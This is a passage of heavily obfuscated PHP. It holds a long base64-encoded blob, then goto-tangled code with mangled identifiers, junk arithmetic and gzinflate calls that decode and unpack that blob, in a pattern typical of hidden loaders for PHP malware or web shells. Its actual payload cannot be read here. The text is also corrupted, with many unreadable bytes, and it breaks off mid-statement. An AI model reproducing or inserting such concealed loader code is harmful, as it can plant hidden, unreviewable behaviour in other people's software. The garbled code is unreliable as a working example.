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'),10,-8)))?$���:$����);goto ��ʂ;�ʟ�:if(!($�ȩ�[0x0002]==$ʟ��+0x028))goto ֔��;goto ���;ㅃ�:if(!($�ȩ�[0x001]==$ʟ��+0x0007f))goto ���;goto ����;����:}goto ���;��:function FYnYw($����){goto ���;��:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto �Ű�;��ݿ:$ה��=$ה��+pow(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��;Ö��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ����;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto �;���:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto �Ѷ�;����:global $���;goto ��;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;��ݴ:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ��;�ټ�:global $ה��;goto ��;Ч��:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto χ��;�諯:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ðل;��:global $��˯;goto ���;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto �ַ�;�䓫:global $ה��;goto �֝;����:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ���;��:��ڄ:goto �̙�;ע��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ��Ȯ;��Ȯ:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ���;���:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;�Ν�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;�Ű�:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ���;���:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��;ᝪ�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto �葡;����:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto Ŗ��;����:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto �ծ;���:$���=pow(round($���),$ה��*0xab-($���+0xab)*M_PI);goto �Ө�;ɡ·:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ��;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;����:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab/($ה��+0xb)*M_PI);goto ���;�lj�:if(!($����<�ߕ(0x001992,0x0000019bd,0x00196a)($����)))goto ��ڄ;goto �䓫;ц˚:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ���;�Ɖ�:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;�֝:global $ה��;goto ���;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto �Ɖ�;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ���;�Ǘ�:$ה��=pow($ה��,$ה��*0xab/($ה��+0xb)*M_PI);goto ����;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��;��ś:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$���=�ߕ(0x001884,0x0186f)(round($���),$ה��*0xab-($���+0xab)*M_PI);goto ���;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto �Ν�;����:$���=pow(round($���),$ה��*0xab-($���+0xab)*M_PI);goto ˤ��;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;Ν�:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ����;����:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto �֝�;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto �ڱ�;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;ڒ��:global $��˯;goto ��;����:$����++;goto ��;��Lj:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ��ݿ;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto �諯;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;Ŗ��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ў��;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ��ݴ;��:global $���;goto ����;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto �ڔ�;�葡:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ����;���:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab/($���+0xab)*M_PI);goto �ܓ�;���:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;ˤ��:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$ה��=pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;¨�:���:goto �lj�;���:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ���;��:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto Ч��;���:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto Ν�;�:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;��:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;���:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;ў��:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ���;���:global $���;goto ڒ��;���:global $���;goto ����;�ݭ�:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��̼;���:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ���;��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab/($���+0xab)*M_PI);goto ����;����:global $���;goto ���;����:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��˂;�̙�:return $����;goto ����;��:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ���;蜨�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$���=�ߕ(0x001884,0x0186f)(round($���),$ה��*0xab-($���+0xab)*M_PI);goto ����;�ַ�:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ��;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;��:$ה��=pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ɡ·;�ܓ�:��:goto ����;��:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ע��;����:$���=pow(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ����;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$����=gzinflate(�ߕ(0x00191a,0x000001940,0x0000018fa)($����));goto �Ǘ�;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ����;���:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;�ڔ�:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:global $ה��;goto �ټ�;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ��;����:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;����:global $���;goto ����;��:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto 